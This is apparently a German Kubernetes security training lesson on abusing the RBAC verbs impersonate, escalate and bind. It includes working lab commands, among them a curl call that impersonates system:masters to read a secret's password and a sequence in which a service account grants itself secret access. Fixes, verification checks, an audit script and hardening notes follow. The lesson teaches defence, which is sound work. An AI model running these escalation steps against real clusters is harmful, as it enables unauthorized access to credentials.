Zum Inhalt springen
Trainingslager IT-Trainingslager

Tag 3: Impersonation, escalate und bind

Ziel: Du missbrauchst drei stille RBAC-Rechte zur Rechteausweitung – und drehst sie zu. · Dauer: ca. 75 min · Voraussetzung: Tag 2

Briefing

Drei RBAC-Verben sehen harmlos aus und sind es nicht: impersonate lässt dich als jemand anderes handeln – bis hin zur Gruppe system:masters, dem eingebauten cluster-admin. escalate hebelt den Schutz aus, der verhindert, dass man sich selbst mehr Rechte gibt. bind erlaubt, eine Rolle zuzuweisen, die man gar nicht hält. Keines davon gehört je an einen Workload.

Drill 1: Die Fehlkonfiguration – impersonate

kubectl -n shop create secret generic db-credentials \
  --from-literal=password=S3cr3t-lab-pw

kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: impersonator
rules:
- apiGroups: [""]
  resources: ["users","groups","serviceaccounts"]
  verbs: ["impersonate"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: attacker-impersonator
subjects:
- kind: ServiceAccount
  name: default
  namespace: attacker
roleRef:
  kind: ClusterRole
  name: impersonator
  apiGroup: rbac.authorization.k8s.io
EOF

Fortschritt speichern? Kostenlos registrieren

Drill 2: Ausnutzen – als cluster-admin handeln

Du selbst darfst keine Secrets lesen. Aber du darfst so tun, als wärst du jemand, der es darf. Die API kennt dafür die Header Impersonate-User und Impersonate-Group. Die Gruppe system:masters ist im kube-apiserver fest mit cluster-admin verdrahtet:

kubectl -n attacker exec shell -- bash -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s -k -H "Authorization: Bearer $TOKEN" \
  -H "Impersonate-User: nobody" \
  -H "Impersonate-Group: system:masters" \
  https://kubernetes.default.svc/api/v1/namespaces/shop/secrets/db-credentials \
  | grep -oE "\"password\": *\"[^\"]*\"" \
  | sed -E "s/.*\"password\": *\"//;s/\"//" | base64 -d; echo'

Erwartet:

S3cr3t-lab-pw

Ein Pod ohne eigene Secret-Rechte liest das Passwort – weil er sich als die Allmachtsgruppe ausgeben darf. impersonate auf groups ist faktisch cluster-admin.

Fortschritt speichern? Kostenlos registrieren

Drill 3: Fix – impersonate entziehen

kubectl delete clusterrolebinding attacker-impersonator
kubectl delete clusterrole impersonator

Fortschritt speichern? Kostenlos registrieren

Drill 4: Nachweis

kubectl -n attacker exec shell -- bash -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s -k -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer $TOKEN" \
  -H "Impersonate-User: nobody" -H "Impersonate-Group: system:masters" \
  https://kubernetes.default.svc/api/v1/namespaces/shop/secrets/db-credentials'

Erwartet:

403

Fortschritt speichern? Kostenlos registrieren

Drill 5: escalate und bind – der Selbstbedienungsladen

RBAC hat einen eingebauten Schutz: Du kannst keine Rolle erstellen, die mehr darf, als du selbst hast. Baue einen ServiceAccount, der Rollen verwalten darf – sonst nichts:

kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata: {name: rbac-manager, namespace: attacker}
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
  resources: ["roles","rolebindings"]
  verbs: ["create","get","list","update"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: {name: rbac-manager, namespace: attacker}
subjects: [{kind: ServiceAccount, name: default, namespace: attacker}]
roleRef: {kind: Role, name: rbac-manager, apiGroup: rbac.authorization.k8s.io}
EOF

Versuch jetzt, dir selbst Secret-Rechte zu schreiben:

kubectl create role self-secrets --verb=get --resource=secrets \
  --as=system:serviceaccount:attacker:default -n attacker

Erwartet:

Error from server (Forbidden): roles.rbac.authorization.k8s.io "self-secrets" is
forbidden: user "system:serviceaccount:attacker:default" ... is attempting to grant
RBAC permissions not currently held:
{APIGroups:[""], Resources:["secrets"], Verbs:["get"]}

Der Schutz greift. Er fällt in dem Moment, in dem jemand dem Account escalate (Rolle mit mehr Rechten anlegen) und bind (fremde Rolle zuweisen) gibt:

kubectl patch role rbac-manager -n attacker --type=json -p='[{"op":"add","path":"/rules/-","value":{"apiGroups":["rbac.authorization.k8s.io"],"resources":["roles","rolebindings"],"verbs":["escalate","bind"]}}]'

kubectl create role self-secrets --verb=get,list --resource=secrets \
  --as=system:serviceaccount:attacker:default -n attacker
kubectl create rolebinding self-secrets --role=self-secrets \
  --serviceaccount=attacker:default \
  --as=system:serviceaccount:attacker:default -n attacker
kubectl auth can-i list secrets --as=system:serviceaccount:attacker:default -n attacker

Erwartet:

role.rbac.authorization.k8s.io/self-secrets created
rolebinding.rbac.authorization.k8s.io/self-secrets created
yes

Mit escalate+bind schreibt sich der Account die Rechte selbst. Darum gehören diese Verben nur in die Hände echter Administratoren. Räum auf:

kubectl -n attacker delete rolebinding rbac-manager self-secrets
kubectl -n attacker delete role rbac-manager self-secrets

Fortschritt speichern? Kostenlos registrieren

Kontrollpunkt

Kein Workload darf impersonieren:

kubectl auth can-i impersonate groups --as=system:serviceaccount:attacker:default

Erwartet: no

Der Escalation-Schutz ist aktiv (der Account kann sich keine Secret-Rechte schreiben):

kubectl auth can-i escalate roles --as=system:serviceaccount:attacker:default -n attacker

Erwartet: no

Challenge

Finde jeden Account, der im Cluster impersonate darf – das ist einer der gefährlichsten Befunde überhaupt.

Hinweis: kubectl get clusterroles -o json enthält die rules; filtere nach dem Verb.

Lösung

kubectl get clusterroles -o json | python3 -c '
import sys,json
for r in json.load(sys.stdin)["items"]:
    for rule in r.get("rules") or []:
        if "impersonate" in (rule.get("verbs") or []):
            print(r["metadata"]["name"], rule.get("resources"))'

Erwartet: System-Rollen wie system:controller:.... Jede eigene Rolle mit impersonate ist ein Audit-Befund.

Fortschritt speichern? Kostenlos registrieren

Enterprise-Notiz

  • impersonate, escalate, bind nur für Administratoren, nie für Workloads oder CI-SAs.
  • system:masters umgeht RBAC vollständig und taucht in Audit-Logs als normaler Request auf – Impersonation ist deshalb schwer zu entdecken. Audit-Logging ist Pflicht: Der kube-apiserver protokolliert impersonatedUser im Audit-Event.
  • In RKE2 das Audit-Log aktivieren (audit-policy-file in der kube-apiserver-Config) und nach "impersonatedUser" alarmieren.
  • Kyverno kann Admission-seitig RBAC-Objekte mit impersonate/escalate blocken (Tag 12).